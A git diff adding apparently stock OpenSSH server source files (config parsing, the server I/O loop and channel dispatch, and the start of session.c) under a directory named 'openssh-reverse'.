sXAuthLocation: + charptr = &options->xauth_location; + goto parse_filename; + + case sStrictModes: + intptr = &options->strict_modes; + goto parse_flag; + + case sKeepAlives: + intptr = &options->keepalives; + goto parse_flag; + + case sEmptyPasswd: + intptr = &options->permit_empty_passwd; + goto parse_flag; + + case sUseLogin: + intptr = &options->use_login; + goto parse_flag; + + case sGatewayPorts: + intptr = &options->gateway_ports; + goto parse_flag; + + case sLogFacility: + intptr = (int *) &options->log_facility; + arg = strdelim(&cp); + value = log_facility_number(arg); + if (value == (SyslogFacility) - 1) + fatal("%.200s line %d: unsupported log facility '%s'\n", + filename, linenum, arg ? arg : ""); + if (*intptr == -1) + *intptr = (SyslogFacility) value; + break; + + case sLogLevel: + intptr = (int *) &options->log_level; + arg = strdelim(&cp); + value = log_level_number(arg); + if (value == (LogLevel) - 1) + fatal("%.200s line %d: unsupported log level '%s'\n", + filename, linenum, arg ? arg : ""); + if (*intptr == -1) + *intptr = (LogLevel) value; + break; + + case sAllowUsers: + while ((arg = strdelim(&cp)) && *arg != '\0') { + if (options->num_allow_users >= MAX_ALLOW_USERS) + fatal("%s line %d: too many allow users.\n", + filename, linenum); + options->allow_users[options->num_allow_users++] = xstrdup(arg); + } + break; + + case sDenyUsers: + while ((arg = strdelim(&cp)) && *arg != '\0') { + if (options->num_deny_users >= MAX_DENY_USERS) + fatal( "%s line %d: too many deny users.\n", + filename, linenum); + options->deny_users[options->num_deny_users++] = xstrdup(arg); + } + break; + + case sAllowGroups: + while ((arg = strdelim(&cp)) && *arg != '\0') { + if (options->num_allow_groups >= MAX_ALLOW_GROUPS) + fatal("%s line %d: too many allow groups.\n", + filename, linenum); + options->allow_groups[options->num_allow_groups++] = xstrdup(arg); + } + break; + + case sDenyGroups: + while ((arg = strdelim(&cp)) && *arg != '\0') { + if (options->num_deny_groups >= MAX_DENY_GROUPS) + fatal("%s line %d: too many deny groups.\n", + filename, linenum); + options->deny_groups[options->num_deny_groups++] = xstrdup(arg); + } + break; + + case sCiphers: + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: Missing argument.", filename, linenum); + if (!ciphers_valid(arg)) + fatal("%s line %d: Bad SSH2 cipher spec '%s'.", + filename, linenum, arg ? arg : ""); + if (options->ciphers == NULL) + options->ciphers = xstrdup(arg); + break; + + case sProtocol: + intptr = &options->protocol; + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: Missing argument.", filename, linenum); + value = proto_spec(arg); + if (value == SSH_PROTO_UNKNOWN) + fatal("%s line %d: Bad protocol spec '%s'.", + filename, linenum, arg ? arg : ""); + if (*intptr == SSH_PROTO_UNKNOWN) + *intptr = value; + break; + + case sSubsystem: + if(options->num_subsystems >= MAX_SUBSYSTEMS) { + fatal("%s line %d: too many subsystems defined.", + filename, linenum); + } + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: Missing subsystem name.", + filename, linenum); + for (i = 0; i < options->num_subsystems; i++) + if(strcmp(arg, options->subsystem_name[i]) == 0) + fatal("%s line %d: Subsystem '%s' already defined.", + filename, linenum, arg); + options->subsystem_name[options->num_subsystems] = xstrdup(arg); + arg = strdelim(&cp); + if (!arg || *arg == '\0') + fatal("%s line %d: Missing subsystem command.", + filename, linenum); + options->subsystem_command[options->num_subsystems] = xstrdup(arg); + options->num_subsystems++; + break; + + case sMaxStartups: + intptr = &options->max_startups; + goto parse_int; + + default: + fprintf(stderr, "%s line %d: Missing handler for opcode %s (%d)\n", + filename, linenum, arg, opcode); + exit(1); + } + if ((arg = strdelim(&cp)) != NULL && *arg != '\0') { + fprintf(stderr, + "%s line %d: garbage at end of line; \"%.200s\".\n", + filename, linenum, arg); + exit(1); + } + } + fclose(f); + if (bad_options > 0) { + fprintf(stderr, "%s: terminating, %d bad configuration options\n", + filename, bad_options); + exit(1); + } +} diff --git a/other/openssh-reverse/servconf.h b/other/openssh-reverse/servconf.h new file mode 100644 index 0000000..9559372 --- /dev/null +++ b/other/openssh-reverse/servconf.h @@ -0,0 +1,121 @@ +/* + * + * servconf.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Mon Aug 21 15:35:03 1995 ylo + * + * Definitions for server configuration data and for the functions reading it. + * + */ + +/* RCSID("$OpenBSD: servconf.h,v 1.26 2000/06/26 21:59:18 markus Exp $"); */ + +#ifndef SERVCONF_H +#define SERVCONF_H + +#define MAX_PORTS 256 /* Max # ports. */ + +#define MAX_ALLOW_USERS 256 /* Max # users on allow list. */ +#define MAX_DENY_USERS 256 /* Max # users on deny list. */ +#define MAX_ALLOW_GROUPS 256 /* Max # groups on allow list. */ +#define MAX_DENY_GROUPS 256 /* Max # groups on deny list. */ +#define MAX_SUBSYSTEMS 256 /* Max # subsystems. */ + +typedef struct { + unsigned int num_ports; + unsigned int ports_from_cmdline; + u_short ports[MAX_PORTS]; /* Port number to listen on. */ + char *listen_addr; /* Address on which the server listens. */ + struct addrinfo *listen_addrs; /* Addresses on which the server listens. */ + char *host_key_file; /* File containing host key. */ + char *host_dsa_key_file; /* File containing dsa host key. */ + char *pid_file; /* Where to put our pid */ + int server_key_bits;/* Size of the server key. */ + int login_grace_time; /* Disconnect if no auth in this time + * (sec). */ + int key_regeneration_time; /* Server key lifetime (seconds). */ + int permit_root_login; /* If true, permit root login. */ + int ignore_rhosts; /* Ignore .rhosts and .shosts. */ + int ignore_user_known_hosts; /* Ignore ~/.ssh/known_hosts + * for RhostsRsaAuth */ + int print_motd; /* If true, print /etc/motd. */ + int check_mail; /* If true, check for new mail. */ + int x11_forwarding; /* If true, permit inet (spoofing) X11 fwd. */ + int x11_display_offset; /* What DISPLAY number to start + * searching at */ + char *xauth_location; /* Location of xauth program */ + int strict_modes; /* If true, require string home dir modes. */ + int keepalives; /* If true, set SO_KEEPALIVE. */ + char *ciphers; /* Ciphers in order of preference. */ + int protocol; /* Protocol in order of preference. */ + int gateway_ports; /* If true, allow remote connects to forwarded ports. */ + SyslogFacility log_facility; /* Facility for system logging. */ + LogLevel log_level; /* Level for system logging. */ + int rhosts_authentication; /* If true, permit rhosts + * authentication. */ + int rhosts_rsa_authentication; /* If true, permit rhosts RSA + * authentication. */ + int rsa_authentication; /* If true, permit RSA authentication. */ + int dsa_authentication; /* If true, permit DSA authentication. */ +#ifdef KRB4 + int kerberos_authentication; /* If true, permit Kerberos + * authentication. */ + int kerberos_or_local_passwd; /* If true, permit kerberos + * and any other password + * authentication mechanism, + * such as SecurID or + * /etc/passwd */ + int kerberos_ticket_cleanup; /* If true, destroy ticket + * file on logout. */ +#endif +#ifdef AFS + int kerberos_tgt_passing; /* If true, permit Kerberos tgt + * passing. */ + int afs_token_passing; /* If true, permit AFS token passing. */ +#endif + int password_authentication; /* If true, permit password + * authentication. */ +#ifdef SKEY + int skey_authentication; /* If true, permit s/key + * authentication. */ +#endif + int permit_empty_passwd; /* If false, do not permit empty + * passwords. */ + int use_login; /* If true, login(1) is used */ + unsigned int num_allow_users; + char *allow_users[MAX_ALLOW_USERS]; + unsigned int num_deny_users; + char *deny_users[MAX_DENY_USERS]; + unsigned int num_allow_groups; + char *allow_groups[MAX_ALLOW_GROUPS]; + unsigned int num_deny_groups; + char *deny_groups[MAX_DENY_GROUPS]; + + unsigned int num_subsystems; + char *subsystem_name[MAX_SUBSYSTEMS]; + char *subsystem_command[MAX_SUBSYSTEMS]; + + int max_startups; + +} ServerOptions; +/* + * Initializes the server options to special values that indicate that they + * have not yet been set. + */ +void initialize_server_options(ServerOptions * options); + +/* + * Reads the server configuration file. This only sets the values for those + * options that have the special value indicating they have not been set. + */ +void read_server_config(ServerOptions * options, const char *filename); + +/* Sets values for those values that have not yet been set. */ +void fill_default_server_options(ServerOptions * options); + +#endif /* SERVCONF_H */ diff --git a/other/openssh-reverse/serverloop.c b/other/openssh-reverse/serverloop.c new file mode 100644 index 0000000..00617bb --- /dev/null +++ b/other/openssh-reverse/serverloop.c @@ -0,0 +1,855 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Sun Sep 10 00:30:37 1995 ylo + * Server main loop for handling the interactive session. + */ +/* + * SSH2 support by Markus Friedl. + * Copyright (c) 2000 Markus Friedl. All rights reserved. + */ + +#include "includes.h" +#include "xmalloc.h" +#include "ssh.h" +#include "packet.h" +#include "buffer.h" +#include "servconf.h" +#include "pty.h" +#include "channels.h" + +#include "compat.h" +#include "ssh2.h" +#include "session.h" +#include "dispatch.h" +#include "auth-options.h" + +static Buffer stdin_buffer; /* Buffer for stdin data. */ +static Buffer stdout_buffer; /* Buffer for stdout data. */ +static Buffer stderr_buffer; /* Buffer for stderr data. */ +static int fdin; /* Descriptor for stdin (for writing) */ +static int fdout; /* Descriptor for stdout (for reading); + May be same number as fdin. */ +static int fderr; /* Descriptor for stderr. May be -1. */ +static long stdin_bytes = 0; /* Number of bytes written to stdin. */ +static long stdout_bytes = 0; /* Number of stdout bytes sent to client. */ +static long stderr_bytes = 0; /* Number of stderr bytes sent to client. */ +static long fdout_bytes = 0; /* Number of stdout bytes read from program. */ +static int stdin_eof = 0; /* EOF message received from client. */ +static int fdout_eof = 0; /* EOF encountered reading from fdout. */ +static int fderr_eof = 0; /* EOF encountered readung from fderr. */ +static int connection_in; /* Connection to client (input). */ +static int connection_out; /* Connection to client (output). */ +static unsigned int buffer_high;/* "Soft" max buffer size. */ +static int max_fd; /* Max file descriptor number for select(). */ + +/* + * This SIGCHLD kludge is used to detect when the child exits. The server + * will exit after that, as soon as forwarded connections have terminated. + * + * After SIGCHLD child_has_selected is set to 1 after the first pass + * through the wait_until_can_do_something() select(). This ensures + * that the child's output gets a chance to drain before it is yanked. + */ + +static pid_t child_pid; /* Pid of the child. */ +static volatile int child_terminated; /* The child has terminated. */ +static volatile int child_has_selected; /* Child has had chance to drain. */ +static volatile int child_wait_status; /* Status from wait(). */ + +void server_init_dispatch(void); + +void +sigchld_handler(int sig) +{ + int save_errno = errno; + pid_t wait_pid; + + debug("Received SIGCHLD."); + wait_pid = wait((int *) &child_wait_status); + if (wait_pid != -1) { + if (wait_pid != child_pid) + error("Strange, got SIGCHLD and wait returned pid %d but child is %d", + wait_pid, child_pid); + if (WIFEXITED(child_wait_status) || + WIFSIGNALED(child_wait_status)) + child_terminated = 1; + child_has_selected = 0; + } + signal(SIGCHLD, sigchld_handler); + errno = save_errno; +} +void +sigchld_handler2(int sig) +{ + int save_errno = errno; + debug("Received SIGCHLD."); + child_terminated = 1; + errno = save_errno; +} + +/* + * Make packets from buffered stderr data, and buffer it for sending + * to the client. + */ +void +make_packets_from_stderr_data() +{ + int len; + + /* Send buffered stderr data to the client. */ + while (buffer_len(&stderr_buffer) > 0 && + packet_not_very_much_data_to_write()) { + len = buffer_len(&stderr_buffer); + if (packet_is_interactive()) { + if (len > 512) + len = 512; + } else { + /* Keep the packets at reasonable size. */ + if (len > packet_get_maxsize()) + len = packet_get_maxsize(); + } + packet_start(SSH_SMSG_STDERR_DATA); + packet_put_string(buffer_ptr(&stderr_buffer), len); + packet_send(); + buffer_consume(&stderr_buffer, len); + stderr_bytes += len; + } +} + +/* + * Make packets from buffered stdout data, and buffer it for sending to the + * client. + */ +void +make_packets_from_stdout_data() +{ + int len; + + /* Send buffered stdout data to the client. */ + while (buffer_len(&stdout_buffer) > 0 && + packet_not_very_much_data_to_write()) { + len = buffer_len(&stdout_buffer); + if (packet_is_interactive()) { + if (len > 512) + len = 512; + } else { + /* Keep the packets at reasonable size. */ + if (len > packet_get_maxsize()) + len = packet_get_maxsize(); + } + packet_start(SSH_SMSG_STDOUT_DATA); + packet_put_string(buffer_ptr(&stdout_buffer), len); + packet_send(); + buffer_consume(&stdout_buffer, len); + stdout_bytes += len; + } +} + +/* + * Sleep in select() until we can do something. This will initialize the + * select masks. Upon return, the masks will indicate which descriptors + * have data or can accept data. Optionally, a maximum time can be specified + * for the duration of the wait (0 = infinite). + */ +void +wait_until_can_do_something(fd_set * readset, fd_set * writeset, + unsigned int max_time_milliseconds) +{ + struct timeval tv, *tvp; + int ret; + + /* When select fails we restart from here. */ +retry_select: + + /* Initialize select() masks. */ + FD_ZERO(readset); + FD_ZERO(writeset); + + if (compat20) { + /* wrong: bad condition XXX */ + if (channel_not_very_much_buffered_data()) + FD_SET(connection_in, readset); + } else { + /* + * Read packets from the client unless we have too much + * buffered stdin or channel data. + */ + if (buffer_len(&stdin_buffer) < buffer_high && + channel_not_very_much_buffered_data()) + FD_SET(connection_in, readset); + /* + * If there is not too much data already buffered going to + * the client, try to get some more data from the program. + */ + if (packet_not_very_much_data_to_write()) { + if (!fdout_eof) + FD_SET(fdout, readset); + if (!fderr_eof) + FD_SET(fderr, readset); + } + /* + * If we have buffered data, try to write some of that data + * to the program. + */ + if (fdin != -1 && buffer_len(&stdin_buffer) > 0) + FD_SET(fdin, writeset); + } + /* Set masks for channel descriptors. */ + channel_prepare_select(readset, writeset); + + /* + * If we have buffered packet data going to the client, mark that + * descriptor. + */ + if (packet_have_data_to_write()) + FD_SET(connection_out, writeset); + + /* Update the maximum descriptor number if appropriate. */ + if (channel_max_fd() > max_fd) + max_fd = channel_max_fd(); + + /* + * If child has terminated and there is enough buffer space to read + * from it, then read as much as is available and exit. + */ + if (child_terminated && packet_not_very_much_data_to_write()) + if (max_time_milliseconds == 0) + max_time_milliseconds = 100; + + if (max_time_milliseconds == 0) + tvp = NULL; + else { + tv.tv_sec = max_time_milliseconds / 1000; + tv.tv_usec = 1000 * (max_time_milliseconds % 1000); + tvp = &tv; + } + if (tvp!=NULL) + debug("tvp!=NULL kid %d mili %d", child_terminated, max_time_milliseconds); + + /* Wait for something to happen, or the timeout to expire. */ + ret = select(max_fd + 1, readset, writeset, NULL, tvp); + + if (ret < 0) { + if (errno != EINTR) + error("select: %.100s", strerror(errno)); + else + goto retry_select; + } + + if (child_terminated) + child_has_selected = 1; +} + +/* + * Processes input from the client and the program. Input data is stored + * in buffers and processed later. + */ +void +process_input(fd_set * readset) +{ + int len; + char buf[16384]; + + /* Read and buffer any input data from the client. */ + if (FD_ISSET(connection_in, readset)) { + len = read(connection_in, buf, sizeof(buf)); + if (len == 0) { + verbose("Connection closed by remote host."); + fatal_cleanup(); + } else if (len < 0) { + if (errno != EINTR && errno != EAGAIN) { + verbose("Read error from remote host: %.100s", strerror(errno)); + fatal_cleanup(); + } + } else { + /* Buffer any received data. */ + packet_process_incoming(buf, len); + } + } + if (compat20) + return; + + /* Read and buffer any available stdout data from the program. */ + if (!fdout_eof && FD_ISSET(fdout, readset)) { + len = read(fdout, buf, sizeof(buf)); + if (len < 0 && (errno == EINTR || errno == EAGAIN)) { + /* do nothing */ + } else if (len <= 0) { + fdout_eof = 1; + } else { + buffer_append(&stdout_buffer, buf, len); + fdout_bytes += len; + } + } + /* Read and buffer any available stderr data from the program. */ + if (!fderr_eof && FD_ISSET(fderr, readset)) { + len = read(fderr, buf, sizeof(buf)); + if (len < 0 && (errno == EINTR || errno == EAGAIN)) { + /* do nothing */ + } else if (len <= 0) { + fderr_eof = 1; + } else { + buffer_append(&stderr_buffer, buf, len); + } + } +} + +/* + * Sends data from internal buffers to client program stdin. + */ +void +process_output(fd_set * writeset) +{ + int len; + + /* Write buffered data to program stdin. */ + if (!compat20 && fdin != -1 && FD_ISSET(fdin, writeset)) { + len = write(fdin, buffer_ptr(&stdin_buffer), + buffer_len(&stdin_buffer)); + if (len < 0 && (errno == EINTR || errno == EAGAIN)) { + /* do nothing */ + } else if (len <= 0) { +#ifdef USE_PIPES + close(fdin); +#else + if (fdin != fdout) + close(fdin); + else + shutdown(fdin, SHUT_WR); /* We will no longer send. */ +#endif + fdin = -1; + } else { + /* Successful write. Consume the data from the buffer. */ + buffer_consume(&stdin_buffer, len); + /* Update the count of bytes written to the program. */ + stdin_bytes += len; + } + } + /* Send any buffered packet data to the client. */ + if (FD_ISSET(connection_out, writeset)) + packet_write_poll(); +} + +/* + * Wait until all buffered output has been sent to the client. + * This is used when the program terminates. + */ +void +drain_output() +{ + /* Send any buffered stdout data to the client. */ + if (buffer_len(&stdout_buffer) > 0) { + packet_start(SSH_SMSG_STDOUT_DATA); + packet_put_string(buffer_ptr(&stdout_buffer), + buffer_len(&stdout_buffer)); + packet_send(); + /* Update the count of sent bytes. */ + stdout_bytes += buffer_len(&stdout_buffer); + } + /* Send any buffered stderr data to the client. */ + if (buffer_len(&stderr_buffer) > 0) { + packet_start(SSH_SMSG_STDERR_DATA); + packet_put_string(buffer_ptr(&stderr_buffer), + buffer_len(&stderr_buffer)); + packet_send(); + /* Update the count of sent bytes. */ + stderr_bytes += buffer_len(&stderr_buffer); + } + /* Wait until all buffered data has been written to the client. */ + packet_write_wait(); +} + +void +process_buffered_input_packets() +{ + dispatch_run(DISPATCH_NONBLOCK, NULL); +} + +/* + * Performs the interactive session. This handles data transmission between + * the client and the program. Note that the notion of stdin, stdout, and + * stderr in this function is sort of reversed: this function writes to + * stdin (of the child program), and reads from stdout and stderr (of the + * child program). + */ +void +server_loop(pid_t pid, int fdin_arg, int fdout_arg, int fderr_arg) +{ + fd_set readset, writeset; + int wait_status; /* Status returned by wait(). */ + pid_t wait_pid; /* pid returned by wait(). */ + int waiting_termination = 0; /* Have displayed waiting close message. */ + unsigned int max_time_milliseconds; + unsigned int previous_stdout_buffer_bytes; + unsigned int stdout_buffer_bytes; + int type; + + debug("Entering interactive session."); + + /* Initialize the SIGCHLD kludge. */ + child_pid = pid; + child_terminated = 0; + child_has_selected = 0; + signal(SIGCHLD, sigchld_handler); + + /* Initialize our global variables. */ + fdin = fdin_arg; + fdout = fdout_arg; + fderr = fderr_arg; + + /* nonblocking IO */ + set_nonblock(fdin); + set_nonblock(fdout); + /* we don't have stderr for interactive terminal sessions, see below */ + if (fderr != -1) + set_nonblock(fderr); + + connection_in = packet_get_connection_in(); + connection_out = packet_get_connection_out(); + + previous_stdout_buffer_bytes = 0; + + /* Set approximate I/O buffer size. */ + if (packet_is_interactive()) + buffer_high = 4096; + else + buffer_high = 64 * 1024; + + /* Initialize max_fd to the maximum of the known file descriptors. */ + max_fd = fdin; + if (fdout > max_fd) + max_fd = fdout; + if (fderr != -1 && fderr > max_fd) + max_fd = fderr; + if (connection_in > max_fd) + max_fd = connection_in; + if (connection_out > max_fd) + max_fd = connection_out; + + /* Initialize Initialize buffers. */ + buffer_init(&stdin_buffer); + buffer_init(&stdout_buffer); + buffer_init(&stderr_buffer); + + /* + * If we have no separate fderr (which is the case when we have a pty + * - there we cannot make difference between data sent to stdout and + * stderr), indicate that we have seen an EOF from stderr. This way + * we don\'t need to check the descriptor everywhere. + */ + if (fderr == -1) + fderr_eof = 1; + + server_init_dispatch(); + + /* Main loop of the server for the interactive session mode. */ + for (;;) { + + /* Process buffered packets from the client. */ + process_buffered_input_packets(); + + /* + * If we have received eof, and there is no more pending + * input data, cause a real eof by closing fdin. + */ + if (stdin_eof && fdin != -1 && buffer_len(&stdin_buffer) == 0) { +#ifdef USE_PIPES + close(fdin); +#else + if (fdin != fdout) + close(fdin); + else + shutdown(fdin, SHUT_WR); /* We will no longer send. */ +#endif + fdin = -1; + } + /* Make packets from buffered stderr data to send to the client. */ + make_packets_from_stderr_data(); + + /* + * Make packets from buffered stdout data to send to the + * client. If there is very little to send, this arranges to + * not send them now, but to wait a short while to see if we + * are getting more data. This is necessary, as some systems + * wake up readers from a pty after each separate character. + */ + max_time_milliseconds = 0; + stdout_buffer_bytes = buffer_len(&stdout_buffer); + if (stdout_buffer_bytes != 0 && stdout_buffer_bytes < 256 && + stdout_buffer_bytes != previous_stdout_buffer_bytes) { + /* try again after a while */ + max_time_milliseconds = 10; + } else { + /* Send it now. */ + make_packets_from_stdout_data(); + } + previous_stdout_buffer_bytes = buffer_len(&stdout_buffer); + + /* Send channel data to the client. */ + if (packet_not_very_much_data_to_write()) + channel_output_poll(); + + /* + * Bail out of the loop if the program has closed its output + * descriptors, and we have no more data to send to the + * client, and there is no pending buffered data. + */ + if (((fdout_eof && fderr_eof) || + (child_terminated && child_has_selected)) && + !packet_have_data_to_write() && + (buffer_len(&stdout_buffer) == 0) && + (buffer_len(&stderr_buffer) == 0)) { + if (!channel_still_open()) + break; + if (!waiting_termination) { + const char *s = "Waiting for forwarded connections to terminate...\r\n"; + char *cp; + waiting_termination = 1; + buffer_append(&stderr_buffer, s, strlen(s)); + + /* Display list of open channels. */ + cp = channel_open_message(); + buffer_append(&stderr_buffer, cp, strlen(cp)); + xfree(cp); + } + } + /* Sleep in select() until we can do something. */ + wait_until_can_do_something(&readset, &writeset, + max_time_milliseconds); + + /* Process any channel events. */ + channel_after_select(&readset, &writeset); + + /* Process input from the client and from program stdout/stderr. */ + process_input(&readset); + + /* Process output to the client and to program stdin. */ + process_output(&writeset); + } + + /* Cleanup and termination code. */ + + /* Wait until all output has been sent to the client. */ + drain_output(); + + debug("End of interactive session; stdin %ld, stdout (read %ld, sent %ld), stderr %ld bytes.", + stdin_bytes, fdout_bytes, stdout_bytes, stderr_bytes); + + /* Free and clear the buffers. */ + buffer_free(&stdin_buffer); + buffer_free(&stdout_buffer); + buffer_free(&stderr_buffer); + + /* Close the file descriptors. */ + if (fdout != -1) + close(fdout); + fdout = -1; + fdout_eof = 1; + if (fderr != -1) + close(fderr); + fderr = -1; + fderr_eof = 1; + if (fdin != -1) + close(fdin); + fdin = -1; + + /* Stop listening for channels; this removes unix domain sockets. */ + channel_stop_listening(); + + /* Wait for the child to exit. Get its exit status. */ + wait_pid = wait(&wait_status); + if (wait_pid < 0) { + /* + * It is possible that the wait was handled by SIGCHLD + * handler. This may result in either: this call + * returning with EINTR, or: this call returning ECHILD. + */ + if (child_terminated) + wait_status = child_wait_status; + else + packet_disconnect("wait: %.100s", strerror(errno)); + } else { + /* Check if it matches the process we forked. */ + if (wait_pid != pid) + error("Strange, wait returned pid %d, expected %d", + wait_pid, pid); + } + + /* We no longer want our SIGCHLD handler to be called. */ + signal(SIGCHLD, SIG_DFL); + + /* Check if it exited normally. */ + if (WIFEXITED(wait_status)) { + /* Yes, normal exit. Get exit status and send it to the client. */ + debug("Command exited with status %d.", WEXITSTATUS(wait_status)); + packet_start(SSH_SMSG_EXITSTATUS); + packet_put_int(WEXITSTATUS(wait_status)); + packet_send(); + packet_write_wait(); + + /* + * Wait for exit confirmation. Note that there might be + * other packets coming before it; however, the program has + * already died so we just ignore them. The client is + * supposed to respond with the confirmation when it receives + * the exit status. + */ + do { + int plen; + type = packet_read(&plen); + } + while (type != SSH_CMSG_EXIT_CONFIRMATION); + + debug("Received exit confirmation."); + return; + } + /* Check if the program terminated due to a signal. */ + if (WIFSIGNALED(wait_status)) + packet_disconnect("Command terminated on signal %d.", + WTERMSIG(wait_status)); + + /* Some weird exit cause. Just exit. */ + packet_disconnect("wait returned status %04x.", wait_status); + /* NOTREACHED */ +} + +void +server_loop2(void) +{ + fd_set readset, writeset; + int had_channel = 0; + int status; + pid_t pid; + + debug("Entering interactive session for SSH2."); + + signal(SIGCHLD, sigchld_handler2); + child_terminated = 0; + connection_in = packet_get_connection_in(); + connection_out = packet_get_connection_out(); + max_fd = connection_in; + if (connection_out > max_fd) + max_fd = connection_out; + server_init_dispatch(); + + for (;;) { + process_buffered_input_packets(); + if (!had_channel && channel_still_open()) + had_channel = 1; + if (had_channel && !channel_still_open()) { + debug("!channel_still_open."); + break; + } + if (packet_not_very_much_data_to_write()) + channel_output_poll(); + wait_until_can_do_something(&readset, &writeset, 0); + if (child_terminated) { + while ((pid = waitpid(-1, &status, WNOHANG)) > 0) + session_close_by_pid(pid, status); + child_terminated = 0; + signal(SIGCHLD, sigchld_handler2); + } + channel_after_select(&readset, &writeset); + process_input(&readset); + process_output(&writeset); + } + signal(SIGCHLD, SIG_DFL); + while ((pid = waitpid(-1, &status, WNOHANG)) > 0) + session_close_by_pid(pid, status); + channel_stop_listening(); +} + +void +server_input_stdin_data(int type, int plen) +{ + char *data; + unsigned int data_len; + + /* Stdin data from the client. Append it to the buffer. */ + /* Ignore any data if the client has closed stdin. */ + if (fdin == -1) + return; + data = packet_get_string(&data_len); + packet_integrity_check(plen, (4 + data_len), type); + buffer_append(&stdin_buffer, data, data_len); + memset(data, 0, data_len); + xfree(data); +} + +void +server_input_eof(int type, int plen) +{ + /* + * Eof from the client. The stdin descriptor to the + * program will be closed when all buffered data has + * drained. + */ + debug("EOF received for stdin."); + packet_integrity_check(plen, 0, type); + stdin_eof = 1; +} + +void +server_input_window_size(int type, int plen) +{ + int row = packet_get_int(); + int col = packet_get_int(); + int xpixel = packet_get_int(); + int ypixel = packet_get_int(); + + debug("Window change received."); + packet_integrity_check(plen, 4 * 4, type); + if (fdin != -1) + pty_change_window_size(fdin, row, col, xpixel, ypixel); +} + +int +input_direct_tcpip(void) +{ + int sock; + char *target, *originator; + int target_port, originator_port; + + target = packet_get_string(NULL); + target_port = packet_get_int(); + originator = packet_get_string(NULL); + originator_port = packet_get_int(); + packet_done(); + + debug("open direct-tcpip: from %s port %d to %s port %d", + originator, originator_port, target, target_port); + + /* XXX check permission */ + if (no_port_forwarding_flag) { + xfree(target); + xfree(originator); + return -1; + } + sock = channel_connect_to(target, target_port); + xfree(target); + xfree(originator); + if (sock < 0) + return -1; + return channel_new("direct-tcpip", SSH_CHANNEL_OPEN, + sock, sock, -1, 4*1024, 32*1024, 0, xstrdup("direct-tcpip")); +} + +void +server_input_channel_open(int type, int plen) +{ + Channel *c = NULL; + char *ctype; + int id; + unsigned int len; + int rchan; + int rmaxpack; + int rwindow; + + ctype = packet_get_string(&len); + rchan = packet_get_int(); + rwindow = packet_get_int(); + rmaxpack = packet_get_int(); + + debug("channel_input_open: ctype %s rchan %d win %d max %d", + ctype, rchan, rwindow, rmaxpack); + + if (strcmp(ctype, "session") == 0) { + debug("open session"); + packet_done(); + /* + * A server session has no fd to read or write + * until a CHANNEL_REQUEST for a shell is made, + * so we set the type to SSH_CHANNEL_LARVAL. + * Additionally, a callback for handling all + * CHANNEL_REQUEST messages is registered. + */ + id = channel_new(ctype, SSH_CHANNEL_LARVAL, + -1, -1, -1, 0, 32*1024, 0, xstrdup("server-session")); + if (session_open(id) == 1) { + channel_register_callback(id, SSH2_MSG_CHANNEL_REQUEST, + session_input_channel_req, (void *)0); + channel_register_cleanup(id, session_close_by_channel); + c = channel_lookup(id); + } else { + debug("session open failed, free channel %d", id); + channel_free(id); + } + } else if (strcmp(ctype, "direct-tcpip") == 0) { + id = input_direct_tcpip(); + if (id >= 0) + c = channel_lookup(id); + } + if (c != NULL) { + debug("confirm %s", ctype); + c->remote_id = rchan; + c->remote_window = rwindow; + c->remote_maxpacket = rmaxpack; + + packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(c->remote_id); + packet_put_int(c->self); + packet_put_int(c->local_window); + packet_put_int(c->local_maxpacket); + packet_send(); + } else { + debug("failure %s", ctype); + packet_start(SSH2_MSG_CHANNEL_OPEN_FAILURE); + packet_put_int(rchan); + packet_put_int(SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED); + packet_put_cstring("bla bla"); + packet_put_cstring(""); + packet_send(); + } + xfree(ctype); +} + +void +server_init_dispatch_20() +{ + debug("server_init_dispatch_20"); + dispatch_init(&dispatch_protocol_error); + dispatch_set(SSH2_MSG_CHANNEL_CLOSE, &channel_input_oclose); + dispatch_set(SSH2_MSG_CHANNEL_DATA, &channel_input_data); + dispatch_set(SSH2_MSG_CHANNEL_EOF, &channel_input_ieof); + dispatch_set(SSH2_MSG_CHANNEL_EXTENDED_DATA, &channel_input_extended_data); + dispatch_set(SSH2_MSG_CHANNEL_OPEN, &server_input_channel_open); + dispatch_set(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION, &channel_input_open_confirmation); + dispatch_set(SSH2_MSG_CHANNEL_OPEN_FAILURE, &channel_input_open_failure); + dispatch_set(SSH2_MSG_CHANNEL_REQUEST, &channel_input_channel_request); + dispatch_set(SSH2_MSG_CHANNEL_WINDOW_ADJUST, &channel_input_window_adjust); +} +void +server_init_dispatch_13() +{ + debug("server_init_dispatch_13"); + dispatch_init(NULL); + dispatch_set(SSH_CMSG_EOF, &server_input_eof); + dispatch_set(SSH_CMSG_STDIN_DATA, &server_input_stdin_data); + dispatch_set(SSH_CMSG_WINDOW_SIZE, &server_input_window_size); + dispatch_set(SSH_MSG_CHANNEL_CLOSE, &channel_input_close); + dispatch_set(SSH_MSG_CHANNEL_CLOSE_CONFIRMATION, &channel_input_close_confirmation); + dispatch_set(SSH_MSG_CHANNEL_DATA, &channel_input_data); + dispatch_set(SSH_MSG_CHANNEL_OPEN_CONFIRMATION, &channel_input_open_confirmation); + dispatch_set(SSH_MSG_CHANNEL_OPEN_FAILURE, &channel_input_open_failure); + dispatch_set(SSH_MSG_PORT_OPEN, &channel_input_port_open); +} +void +server_init_dispatch_15() +{ + server_init_dispatch_13(); + debug("server_init_dispatch_15"); + dispatch_set(SSH_MSG_CHANNEL_CLOSE, &channel_input_ieof); + dispatch_set(SSH_MSG_CHANNEL_CLOSE_CONFIRMATION, &channel_input_oclose); +} +void +server_init_dispatch() +{ + if (compat20) + server_init_dispatch_20(); + else if (compat13) + server_init_dispatch_13(); + else + server_init_dispatch_15(); +} diff --git a/other/openssh-reverse/session.c b/other/openssh-reverse/session.c new file mode 100644 index 0000000..d04d22e --- /dev/null +++ b/other/openssh-reverse/session.c @@ -0,0 +1,1815 @@ +/* + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + */ +/* + * SSH2 support by Markus Friedl. + * Copyright (c) 2000 Markus Friedl. All rights reserved. + */ + +#include 